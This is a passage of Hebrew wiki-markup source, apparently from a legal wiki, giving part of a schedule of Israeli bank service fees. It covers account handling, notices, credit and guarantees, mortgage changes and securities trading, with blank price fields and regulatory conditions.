{{ח:תת|(3)}} עמלה זו לא תגבה מחשבון תשלום שהוא פיקדון ללא תנועה, כהגדרתו {{ח:חיצוני|פקודת הבנקאות|בפקודת הבנקאות, 1941}}, אם
לא בוצעו בחשבון פעולות.
&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 פרט 1א.2&quot;&gt;&lt;td&gt;
{{ח:תתת|(2)}} '''פעולה על ידי פקיד''' {{ח:הערה|(נמחקה)}}
&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 פרט 1א.3&quot;&gt;&lt;td&gt;
{{ח:תתת|(3)}} '''פעולה בערוץ ישיר''' {{ח:הערה|(נמחקה)}}
&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 פרט 1א.4&quot;&gt;&lt;td&gt;
{{ח:תתת|(4)}} '''פנקס שיקים'''
&lt;/td&gt;&lt;td&gt;
{{ח:ת}} רגיל – . . . . ש״ח (בפיקוח)
{{ח:ת}} מיוחד – . . . . ש״ח
{{ח:ת}} {{מוקטן|לפי פירוט שיקבע התאגיד הבנקאי בנספח שיצורף לתעריפון ויימסר ללקוח}}
&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 פרט 1א.5&quot;&gt;&lt;td&gt;
{{ח:תתת|(5)}} '''כרטיס מידע''' {{ח:הערה|(נמחקה)}}
&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 פרט 1א.6&quot;&gt;&lt;td&gt;
{{ח:תתת|(6)}} '''כרטיס משיכת מזומן''' {{ח:הערה|(נמחקה)}}
&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 פרט 1א.7&quot;&gt;&lt;td&gt;
{{ח:תתת|(7)}} '''שיק בנקאי'''
&lt;/td&gt;&lt;td&gt;. . . . ש״ח&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 פרט 1א.8&quot;&gt;&lt;td&gt;
{{ח:תתת|(8)}} '''טיפול במזומנים על ידי פקיד'''
{{ח:תתת}} שירות זה כולל:
{{ח:תתתת|(1)}} משיכת מזומן
{{ח:תתתת|(2)}} הפקדת מזומן
{{ח:תתתת|(3)}} פריטת מזומן
&lt;/td&gt;&lt;td&gt;
{{ח:ת}} מטבעות – . . . . ש״ח (לכל 100 מטבעות) {{ש}} שטרות – . . . . אחוז (מעל 10,000 ש״ח)
&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;
{{ח:תת|(1)}} פעולה במטבעות מתחת ל־100 מטבעות או פעולה בשטרות מתחת לסכום של 10,000 ש״ח ייכללו בשירות ”ניהול חשבון תשלום“;
{{ח:תת|(2)}} פעולת פריטת מזומן כוללת את משיכתו או הפקדתו;
{{ח:תת|(3)}} בעד פעולת פריטה הכוללת מטבעות ושטרות, רשאי התאגיד הבנקאי לגבות עמלה אחת בלבד, הגבוהה מבין העמלות בעד פעולות אלה.
&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 פרט 1א.9&quot;&gt;&lt;td&gt;
{{ח:תתת|(9)}} '''החזרת חיוב מסיבת אין כיסוי מספיק (ומהסיבות מוגבל, מעוקל, צו משפטי)'''
{{ח:תתת}} חיוב באמצעות –
{{ח:תתתת|(1)}} הוראת קבע
{{ח:תתתת|(2)}} הרשאה לחיוב חשבון
{{ח:תתתת|(3)}} שיק
&lt;/td&gt;&lt;td&gt;. . . . ש״ח&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 פרט 1א.10&quot;&gt;&lt;td&gt;
{{ח:תתת|(10)}} '''חיוב מושך בהחזרת שיק מסיבה טכנית''' {{ח:הערה|(נמחקה)}}
&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 פרט 1א.11&quot;&gt;&lt;td&gt;
{{ח:תתת|(11)}} '''חיוב מפקיד בהחזרת שיק''' {{ח:הערה|(נמחקה)}}
&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 פרט 1א.12&quot;&gt;&lt;td&gt;
{{ח:תתת|(12)}} '''הוראה לביטול חיוב''' {{ח:הערה|(נמחקה)}}
&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 פרט 1ב&quot;&gt;&lt;td colspan=&quot;4&quot;&gt;'''(ב) – שירותים מיוחדים או עסקיים'''&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 פרט 1ב.1&quot;&gt;&lt;td&gt;
{{ח:תתת|(1)}} '''העברות ברשימה (לרבות משכורת)'''
&lt;/td&gt;&lt;td&gt;
{{ח:ת}} {{מוקטן|לפי פירוט שיקבע התאגיד הבנקאי, ובלבד שלא יעלה על 2 עמלות}}
{{ח:ת}} . . . . ש״ח
&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 פרט 1ב.2&quot;&gt;&lt;td&gt;
{{ח:תתת|(2)}} '''הוראת קבע לקיזוז יומי'''
&lt;/td&gt;&lt;td&gt;. . . . ש״ח&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 פרט 1ב.3&quot;&gt;&lt;td&gt;
{{ח:תתת|(3)}} '''טיפול בשיק דחוי'''
{{ח:תתת}} שירות זה כולל –
{{ח:תתתת|(1)}} הפקדת שיק דחוי
{{ח:תתתת|(2)}} שינוי מועד להצגת שיק דחוי
{{ח:תתתת|(3)}} החזרת שיק דחוי למפקיד טרם פירעונו
&lt;/td&gt;&lt;td&gt;
{{ח:ת}} פקיד – . . . . ש״ח
{{ח:ת}} בשידור – . . . . ש״ח
&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;
{{ח:ת}} החזרת שיקים דחויים למפקיד אגב סגירת חשבונו בבנק לא תעלה על 5 ש״ח&lt;sup&gt;3&lt;/sup&gt;; עמלה זו תגבה רק במקרה שבו שיק הופקד פיזית למשמרת בבנק
&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 פרט 1ב.4&quot;&gt;&lt;td&gt;
{{ח:תתת|(4)}} '''חיוב מוטב בהחזרת חיוב על פי הרשאה'''
&lt;/td&gt;&lt;td&gt;
{{ח:ת}} רגיל – . . . . ש״ח
{{ח:ת}} הצגה חוזרת – . . . . ש״ח
&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;לעניין זה, ”הצגה חוזרת“ – מההחזרה השניה ואילך של חיוב על פי הרשאה שבוטלה בהוראת הלקוח או חיוב על פי הרשאה שהוצאה מן ההסדר&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 פרט 1ב.5&quot;&gt;&lt;td&gt;
{{ח:תתת|(5)}} '''העברה במערכת הזיכויים וההעברות בזמן אמת (RTGS)''', מעל 1 מיליון ש״ח
&lt;/td&gt;&lt;td&gt;לבנק אחר – . . . . ש״ח&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 פרט 1ג&quot; &gt;&lt;td&gt;
{{ח:תת|'''(ג)'''}} {{ח:הערה|(נמחק)}}
{{ח:תתת|(1)}} '''מסלול בסיסי'''
{{ח:תתת|(2)}} '''מסלול מורחב'''
{{ח:תתת|(3)}} '''מסלול מורחב פלוס'''
&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 חלק 2&quot;&gt;&lt;td colspan=&quot;4&quot;&gt;{{ממורכז|{{מוגדל|'''חלק 2 – מידע, הודעות והתראות'''}}}}&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 פרט 2א&quot;&gt;&lt;td colspan=&quot;4&quot;&gt;'''2(א) – שירותים נפוצים'''&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 פרט 2א.1&quot;&gt;&lt;td&gt;
{{ח:תתת|(1)}} '''הודעות'''
{{ח:תתת}} שירות זה כולל –
{{ח:תתתת|(1)}} הודעות על פיגור בתשלומים
{{ח:תתתת|(2)}} התראות
{{ח:תתתת|(3)}} הודעות או התראות לפי {{ח:חיצוני|חוק שיקים ללא כיסוי|חוק שיקים ללא כיסוי, התשמ״א–1981}}
{{ח:תתתת|(4)}} {{ח:הערה|(נמחקה)}}
&lt;/td&gt;&lt;td&gt;. . . . ש״ח (בפיקוח)&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 פרט 2א.2&quot;&gt;&lt;td&gt;
{{ח:תתת|(2)}} '''מכתב התראה של עורך דין'''
&lt;/td&gt;&lt;td&gt;. . . . ש״ח&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 פרט 2א.3&quot;&gt;&lt;td&gt;
{{ח:תתת|(3)}} '''הפקה או הדפסה של מסמכים המצויים במאגר הממוחשב לבקשת לקוח שסגר את חשבונו'''
&lt;/td&gt;&lt;td&gt;. . . . ש״ח לבקשה&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;אין לגבות עמלה בעד מסירת העתק אחד של הודעה לבקשת לקוח במהלך שישה חודשים מיום סגירת החשבון; לעניין זה, ”הודעה“ – הודעה שנשלחה בתקשורת ללקוח מכוח דין במהלך ששת החודשים שקדמו לסגירת החשבון.&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 פרט 2א.4&quot;&gt;&lt;td&gt;
{{ח:תתת|(4)}} '''דוחות לבקשת לקוח הכרוכים באיסוף מידע''', למשל: מסירת מידע היסטורי בדבר ריביות, שערי חליפין, שערי ניירות ערך, וכן מכתבים לא שגרתיים או מכתב המלצה
&lt;/td&gt;&lt;td&gt;. . . . ש״ח&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 פרט 2א.5&quot;&gt;&lt;td&gt;
{{ח:תתת|(5)}} '''איתור מסמכים''' {{ח:הערה|(נמחקה)}}
&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 פרט 2א.6&quot;&gt;&lt;td&gt;
{{ח:תתת|(6)}} '''איתור חשבונות''' {{ח:הערה|(נמחקה)}}
&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 פרט 2ב&quot;&gt;&lt;td colspan=&quot;4&quot;&gt;'''(ב) – שירותים מיוחדים או עסקיים'''&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 פרט 2ב.1&quot;&gt;&lt;td&gt;
{{ח:תתת|(1)}} '''קבלת מידע בתקשורת לבקשת לקוח'''
&lt;/td&gt;&lt;td&gt;
{{ח:ת}} {{מוקטן|לפי פירוט שיקבע התאגיד הבנקאי, ובלבד שלא יעלה על 3 עמלות}}
{{ח:ת}} . . . . ש״ח
&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;
{{ח:ת}} שירות זה כולל מתן מידע באמצעים כמו: פקס׳, טלפון סלולרי, דואר אלקטרוני, מכשיר לקריאת כרטיס חיוב;
{{ח:ת}} אין לגבות עמלה בעד מסירת העתק אחד של הודעה לבקשת לקוח במהלך שישה חודשים מיום סגירת החשבון; לעניין זה, ”הודעה“ – הודעה שנשלחה בתקשורת ללקוח מכוח דין במהלך ששת החודשים שקדמו לסגירת החשבון.
&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 פרט 2ב.2&quot;&gt;&lt;td&gt;
{{ח:תתת|(2)}} '''מידע במדיה מגנטית או אלקטרונית'''
&lt;/td&gt;&lt;td&gt;
{{ח:ת}} {{מוקטן|לפי פירוט שיקבע התאגיד הבנקאי, ובלבד שלא יעלה על 2 עמלות}}
{{ח:ת}} . . . . ש״ח
&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 פרט 2ב.3&quot;&gt;&lt;td&gt;
{{ח:תתת|(3)}} '''הפקה ומשלוח דף תנועות בתדירות מיוחדת לבקשת הלקוח'''
&lt;/td&gt;&lt;td&gt;
{{ח:ת}} {{מוקטן|לפי פירוט שיקבע התאגיד הבנקאי, ובלבד שלא יעלה על 2 עמלות}}
{{ח:ת}} . . . . ש״ח
&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 פרט 2ב.4&quot;&gt;&lt;td&gt;
{{ח:תתת|(4)}} '''גישה ישירה למחשב הבנק'''
&lt;/td&gt;&lt;td&gt;
{{ח:ת}} {{מוקטן|לפי הפירוט שיקבע התאגיד הבנקאי, ובלבד שלא יעלה על 2 עמלות}}
{{ח:ת}} . . . . ש״ח
&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 חלק 3&quot;&gt;&lt;td colspan=&quot;4&quot;&gt;{{ממורכז|{{מוגדל|'''חלק 3 – אשראי'''}}}}&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 פרט 3א&quot;&gt;&lt;td colspan=&quot;4&quot;&gt;'''3(א) – שירותים נפוצים'''&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 פרט 3א.1&quot;&gt;&lt;td&gt;
{{ח:תתת|(1)}} '''הקצאת אשראי'''
&lt;/td&gt;&lt;td&gt;
{{ח:ת}} יחיד – . . . . ש״ח לרבעון
{{ח:ת}} עסק קטן – . . . . אחוז
&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;עמלה זו תיגבה מיחיד במקרה של אי־ניצול מסגרת האשראי ברבעון. במקרה של ניצול חלקי של המסגרת, לקוח יחיד יחויב בריבית הרבעונית או בעמלה, לפי הגבוה מביניהן&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 פרט 3א.2&quot;&gt;&lt;td&gt;
{{ח:תתת|(2)}} '''טיפול באשראי ובביטחונות''' (למעט הלוואה לדיור)
&lt;/td&gt;&lt;td&gt;
{{ח:ת}} 1. הלוואות מעל 100,000 ש״ח . . . . אחוז (מינימום, מקסימום);
{{ח:ת}} 2. ניכיון שיקים – מעל 50,000 ש״ח . . . . אחוז (מינימום, מקסימום);
{{ח:ת}} 3. מסגרת אשראי לעסק קטן . . . . אחוז (מינימום, מקסימום);
{{ח:ת}} 4. הלוואות בערבות המדינה (לפי פירוט שיקבע התאגיד הבנקאי)
&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;
{{ח:תת|(1)}} אין לגבות את העמלה במקרה של חידוש האשראי, שלא כרוך בשינוי או הוספת ביטחונות. במקרה של הגדלת האשראי – ניתן לגבות את העמלה על ההפרש בלבד
{{ח:תת|(2)}} אין לגבות עמלה על העמדת מסגרת אשראי ללקוחות יחידים
&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 פרט 3א.2א&quot;&gt;&lt;td&gt;
{{ח:תתת|(2א)}} טיפול בבקשה להלוואה לדיור
&lt;/td&gt;&lt;td&gt;. . . . ש״ח&lt;/td&gt;&lt;td&gt;העמלה תיגבה לאחר ביצוע עיקר ההליכים לקבלת ההלוואה&lt;/td&gt;&lt;td&gt;
{{ח:תת|(1)}} השירות כולל טיפול בביטחונות, אם רלוונטי;
{{ח:תת|(2)}} אין לגבות את העמלה במקרה של חידוש האשראי, שאינו כרוך בשינוי או הוספה של ביטחונות;
{{ח:תת|(3)}} בהלוואות לדיור חל {{ח:חיצוני|חוק הבנקאות (שירות ללקוח)#סעיף 9ז|סעיף 9ז לחוק הבנקאות (שירות ללקוח), התשמ״א–1981}}.
&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 פרט 3א.3&quot;&gt;&lt;td&gt;
{{ח:תתת|(3)}} '''דמי ניהול הלוואה לדיור''' {{ח:הערה|(נמחקה)}}
&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 פרט 3א.4&quot;&gt;&lt;td&gt;
{{ח:תתת|(4)}} '''דמי גבייה בשל הלוואות שאינן לדיור, שניתנו ערב תחילתם של כללים אלה''' {{ח:הערה|(נמחקה)}}
&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 פרט 3א.5&quot;&gt;&lt;td rowspan=&quot;2&quot;&gt;
{{ח:תתת|(5)}} '''ערבות בנקאית'''
&lt;/td&gt;&lt;td&gt;
{{ח:ת}} ערבות בנקאית מכל סוג (למעט ערבות למשתכנים לפי {{ח:חיצוני|חוק המכר (דירות) (הבטחת השקעות של רוכשי דירות)|חוק המכר (דירות) (הבטחת השקעות של רוכשי דירות), התשל״ה–1974}}) (להלן – חוק המכר) ולמעט ערבות בנקאית המובטחת בפיקדון כספי ספציפי . . . . אחוז (מינימום)
{{ח:ת}} ערבות למשתכנים לפי {{ח:חיצוני|חוק המכר (דירות) (הבטחת השקעות של רוכשי דירות)|חוק המכר}} . . . . אחוז
{{ח:ת}} ערבות בנקאית המובטחת בפיקדון כספי ספציפי (למעט ערבות למשתכנים לפי {{ח:חיצוני|חוק המכר (דירות) (הבטחת השקעות של רוכשי דירות)|חוק המכר}}) . . . . אחוז (מינימום)
&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;העמלה בעד שירות ”ערבות בנקאית המובטחת בפיקדון כספי ספציפי“ תהיה נמוכה מהעמלה בעד שירות ”ערבות מכל סוג“&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;
{{ח:ת}} 1. ערבות בנקאית מכל סוג (שאינה ערבות מהסוגים המפורטים בסעיפים 2 עד 4 להלן) . . . . אחוז (מינימום);
{{ח:ת}} 2. ערבות בנקאית למשתכנים לפי {{ח:חיצוני|חוק המכר (דירות) (הבטחת השקעות של רוכשי דירות)|חוק המכר (דירות) (הבטחת השקעות של רוכשי דירות), התשל״ה–1974}} . . . . אחוז;
{{ח:ת}} 3. ערבות בנקאית המובטחת בפיקדון כספי ספציפי . . . . ש״ח;
{{ח:ת}} 4. ערבות בנקאית המובטחת בפיקדון כספי ספציפי לצורך הסכם שכירות לדירת מגורים (בסכום ערבות עד 50,000 ש״ח) . . . . ש״ח.
&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;
{{ח:תת|(1)}} העמלה בעד שירות ”ערבות בנקאית המובטחת בפיקדון כספי ספציפי“, כאמור בסעיף 3 בטור ”מחיר“, תהיה נמוכה מעמלת המינימום בעד שירות ”ערבות בנקאית מכל סוג“, כאמור בסעיף 1 בטור ”מחיר“;
{{ח:תת|(2)}} העמלה בעד שירות ”ערבות בנקאית המובטחת בפיקדון כספי ספציפי לצורך הסכם שכירות לדירת מגורים (בסכום ערבות עד 50,000 ש״ח)“, כאמור בסעיף 4 בטור ”מחיר“, תהיה נמוכה מהעמלה בעד &quot;ערבות בנקאית המובטחת בפיקדון כספי ספציפי, כאמור בסעיף 3 בטור ”מחיר“.
&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 פרט 3א.6&quot;&gt;&lt;td&gt;
{{ח:תתת|(6)}} '''הסבת ערבות לפי {{ח:חיצוני|חוק המכר (דירות) (הבטחת השקעות של רוכשי דירות)|חוק המכר}}'''
&lt;/td&gt;&lt;td&gt;. . . . ש״ח&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 פרט 3א.7&quot;&gt;&lt;td&gt;
{{ח:תתת|(7)}} '''רישום שעבודים על ידי נציג התאגיד הבנקאי אצל רשם'''
&lt;/td&gt;&lt;td&gt;. . . . ש״ח&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 פרט 3א.8&quot;&gt;&lt;td&gt;
{{ח:תתת|(8)}} '''שינוי שעבודים'''
&lt;/td&gt;&lt;td&gt;
{{ח:ת}} בבנק – . . . . ש״ח
{{ח:ת}} אצל רשם – . . . . ש״ח
&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 פרט 3א.9&quot;&gt;&lt;td&gt;
{{ח:תתת|(9)}} '''הסכמה ליצירת שעבוד לבנק אחר'''
&lt;/td&gt;&lt;td&gt;. . . . ש״ח (בפיקוח)&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 פרט 3א.10&quot;&gt;&lt;td&gt;
{{ח:תתת|(10)|(א)}} '''שינויים בהסכם ההלוואה או בתנאי הערבות לבקשת לקוח או ערב''' {{ש}} {{מוקטן|כולל: תקופת ההלוואה, זהות או הרכב לווים או ערבים, מסלול ההלוואה, ריבית, הקפאת תשלומים, איחוד או הפרדת זכאות, מועדי פירעון, תיקון ערבות}}
&lt;/td&gt;&lt;td&gt;. . . . ש״ח&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;
{{ח:תתתת|(ב)}} '''שינויים במועד הפירעון החודשי של הלוואה לדיור לפי {{ח:חיצוני|חוק הבנקאות (שירות ללקוח)#סעיף 9ג|סעיף 9ג לחוק הבנקאות (שירות ללקוח), התשמ״א–1981}}'''
&lt;/td&gt;&lt;td&gt;כל אחד מארבעת השינויים הראשונים בשנה . . . . ש״ח (בפיקוח); החל מהשינוי החמישי בשנה . . . . ש״ח&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 פרט 3א.11&quot;&gt;&lt;td&gt;
{{ח:תתת|(11)}} '''גרירת הלוואה לדיור'''
&lt;/td&gt;&lt;td&gt;
{{ח:ת}} הלוואה – . . . . ש״ח
{{ח:ת}} מענק – . . . . ש״ח
{{ח:ת}} ערבות או פיקדון ביניים – . . . . ש״ח
&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 פרט 3א.12&quot;&gt;&lt;td&gt;
{{ח:תתת|(12)}} '''הנפקה או חידוש של תעודת זכאות'''
&lt;/td&gt;&lt;td&gt;. . . . ש״ח&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 פרט 3א.13&quot;&gt;&lt;td&gt;
{{ח:תתת|(13)}} '''פירעון מוקדם'''
&lt;/td&gt;&lt;td&gt;עמלה תפעולית – . . . . ש״ח&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;עמלה זו נגבית נוסף לשאר התשלומים הנגבים על פי {{ח:חיצוני|צו הבנקאות (פירעון מוקדם של הלוואה לדיור)|צו הבנקאות (פירעון מוקדם של הלוואה לדיור), התשס״ב–2002}}, על פי הוראת ניהול בנקאי תקין מס׳ 454 ועל פי {{ח:חיצוני|חוק המקרקעין#סעיף 88|סעיף 88 לחוק המקרקעין, התשכ״ט–1969}}; התאגיד הבנקאי רשאי לגבות את העמלה פעם אחת, לכל היותר, בעד פירעון מוקדם של הלוואה, על כל המסלולים הנפרעים באותו מועד&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 פרט 3ב&quot;&gt;&lt;td colspan=&quot;4&quot;&gt;'''(ב) – שירותים מיוחדים או עסקיים'''&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 פרט 3ב.1&quot;&gt;&lt;td&gt;
{{ח:תתת|(1)}} '''ליווי פיננסי'''
&lt;/td&gt;&lt;td&gt;. . . . אחוז&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 חלק 4&quot;&gt;&lt;td colspan=&quot;4&quot;&gt;{{ממורכז|{{מוגדל|'''חלק 4 – ניירות ערך'''}}}}&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 פרט 4א&quot;&gt;&lt;td colspan=&quot;4&quot;&gt;'''4(א) – שירותים נפוצים'''&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 פרט 4א.1&quot;&gt;&lt;td&gt;
{{ח:תתת|(1)}} '''קניה, מכירה, ופדיון של ניירות ערך הנסחרים בבורסה בתל אביב (למעט קרנות נאמנות&lt;sup&gt;4&lt;/sup&gt;, אופציות מעו״ף&lt;sup&gt;5&lt;/sup&gt; וחוזים עתידיים במעו״ף)''' {{ש}} (כולל קניה או מכירה שלא בוצעה)
&lt;/td&gt;&lt;td&gt;
{{ח:ת}} מניות ואגרות חוב . . . . אחוז (מינימום, מכסימום)
{{ח:ת}} מילווה קצר מועד . . . . אחוז (מינימום, מכסימום)
&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;
{{ח:תת|(1)}} על פיצול הוראה לכמה ביצועים חלקיים באותו יום תיגבה עמלת מינימום אחת ביום לכל הוראה{{ח:הערה|;}}
{{ח:תת|(2)}} במקרה של קניה או מכירה שלא בוצעה מסיבה התלויה בלקוח – תיגבה עמלת מינימום רק אם בוצעה פעולה על ידי פקיד{{ח:הערה|;}}
{{ח:תת|(3)}} עמלה זו תיגבה גם בשל ביצוע השירות בניירות ערך שאינם נסחרים{{ח:הערה|;}}
{{ח:תת|(4)}} בעד פעולה המבוצעת ישירות באמצעות האינטרנט ייגבה שיעור מופחת של . . . . אחוז לפעולה במניות ובאגרות חוב, ושיעור מופחת של . . . . אחוז לפעולה במלווה קצר מועד.
&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 פרט 4א.2&quot;&gt;&lt;td&gt;
{{ח:תתת|(2)}} '''קניה, מכירה וכתיבה של אופציות מעו״ף''' {{ש}} (כולל קניה או מכירה שלא בוצעה)
